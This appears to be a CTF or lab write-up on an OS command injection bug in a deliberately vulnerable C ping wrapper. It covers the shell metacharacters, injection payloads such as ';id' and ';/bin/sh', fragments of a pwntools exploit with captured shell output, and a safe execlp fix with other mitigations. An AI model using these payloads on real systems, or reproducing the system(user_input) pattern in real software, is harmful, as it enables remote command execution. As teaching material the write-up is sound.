PingTool is a small CLI wrapper around ping. The user-supplied
host string is concatenated into a shell command and passed to
system() without escaping. Any shell metacharacter (;, |,
&, $(), `, \n) breaks out of the ping invocation and
runs attacker-chosen commands.
This is CWE-78: OS Command Injection — the same bug class behind CVE-2014-6271 (Shellshock variants), CVE-2016-1897 (FFmpeg SSRF), CVE-2021-22205 (GitLab ExifTool), and countless IoT router CVEs.
| Mitigation | State | Notes |
|---|---|---|
| Arch | i386 | Irrelevant — no memory corruption |
| RELRO / Canary / NX / PIE | varies | None of these help — bug is at the API boundary |
| ASLR | Enabled | Irrelevant — no addresses needed |
Command injection is a logic bug, not a memory-safety bug. No compiler or runtime memory mitigation stops it. Only input handling at the API layer does.
gcc -m32 -g -fno-stack-protector -no-pie -z norelro PingTool.c -o pingtoolsnprintf(cmd, sizeof(cmd), "ping -c 1 %s", host); // host ← user input
system(cmd); // passed to /bin/shsystem() invokes /bin/sh -c "<cmd>". The shell parses host
as shell syntax, so any of these metacharacters allows chaining:
| Metachar | Meaning |
|---|---|
; |
Sequential execution |
| |
Pipe |
|| |
Execute if previous failed |
&& |
Execute if previous succeeded |
& |
Background |
$() |
Command substitution |
`...` |
Command substitution (legacy) |
\n |
Newline — same as ; |
$ ./pingtool
> 1
host: 127.0.0.1;whoami
[ping] ping -c 1 127.0.0.1;whoami
ping: socktype: SOCK_RAW
ping: socket: Operation not permitted
ishan ← RCE proofThe ishan line proves the shell executed our injected command —
regardless of ping's exit status (WSL blocks SOCK_RAW without
CAP_NET_RAW, but the ; still continues).
exploit.py runs id via injection and asserts uid= is present:
out = inject(p, b"127.0.0.1;id")
assert b'uid=' in outIf uid= is missing → the injection didn't fire. Script exits loudly.
Critical detail — prompt parsing: the naive terminator b'> '
matches ping's ping: => error line, cutting the capture short
before uid= arrives. The fixed script uses b'3. quit\n> ' —
unique to the menu, cannot be produced by ping's output.
Trigger: 127.0.0.1;/bin/sh
After ping exits, the shell runs /bin/sh. Its stdin/stdout are the
same pipes pwntools owns, so subsequent lines go straight to the
shell:
inject(p, b"127.0.0.1;/bin/sh", wait_menu=False)
sh(b"id") # uid=1000(ishan) ...
sh(b"whoami") # ishanThe wait_menu=False flag tells inject not to expect a menu prompt
after — /bin/sh takes over and never returns to main().
Local:
python3 exploit.pyRemote:
# Terminal 1
socat TCP-LISTEN:9090,reuseaddr,fork EXEC:./pingtool
# Terminal 2 — flip USE_REMOTE = True in exploit.py
python3 exploit.pyExpected:
[+] RCE CONFIRMED — uid=1000(ishan) gid=1000(ishan) ...
$ id 2>&1
uid=1000(ishan) gid=1000(ishan) ...
$ whoami 2>&1
ishan
$ uname -a 2>&1
Linux DESKTOP-1I420O9 ...
[*] Switching to interactive mode
$ ls
exploit.py pingtool PingTool.c
The first version of exploit.py hung on recvuntil(b'> ') because:
ping: => missing cap_net_raw+p capability or setuid?
^^
recvuntil(b'> ') stops HERE
The > inside => matched the terminator, so uid=... was never
captured. Symptom: no 'uid=' in output — injection did not fire,
even though the manual test showed RCE works.
Fix: use b'3. quit\n> ' — the last line of the menu is unique
and cannot be produced by ping's stderr.
MENU = b'3. quit\n> '#include <unistd.h>
#include <sys/wait.h>
static void run_ping(const char *host) {
pid_t pid = fork();
if (pid == 0) {
execlp("ping", "ping", "-c", "1", "--", host, (char *)NULL);
_exit(127);
}
waitpid(pid, NULL, 0);
}Why this is safe:
execlpexec's/usr/bin/pingdirectly — no shell involved.- Each argument is a separate
argv[]entry — metacharacters are passed as literal bytes toping, not interpreted. - The
--stops option injection (e.g., host =-f).
| Fix | Effect |
|---|---|
Never system() user input |
Eliminates the bug class |
execvp / posix_spawn |
No shell, no metacharacters |
Whitelist input (^[a-zA-Z0-9.\-:]+$) |
Blocks metacharacters even if system() slips in |
Prefer getaddrinfo() over ping |
No subprocess at all |
Semgrep rule shell-injection in CI |
Catches regressions before merge |
| Least privilege (drop caps, seccomp) | If RCE succeeds, blast radius shrinks |
| Step | Concept |
|---|---|
Recognize system(user_input) as a sink |
API-level threat model |
;id / ;/bin/sh payloads |
Shell metacharacter classes |
| Programmatic RCE proof vs manual | Reproducibility discipline |
Prompt-parsing bug (=> vs > ) |
Robust I/O discipline in exploits |
execlp fix |
Correct API choice at the fix layer |
| Whitelist as defense in depth | Layered mitigation |
| No memory mitigation applies | Bug-class taxonomy understanding |
Intentionally vulnerable — educational / CTF use only. Do not deploy where untrusted users can reach it.
Credit: Ishan Oshada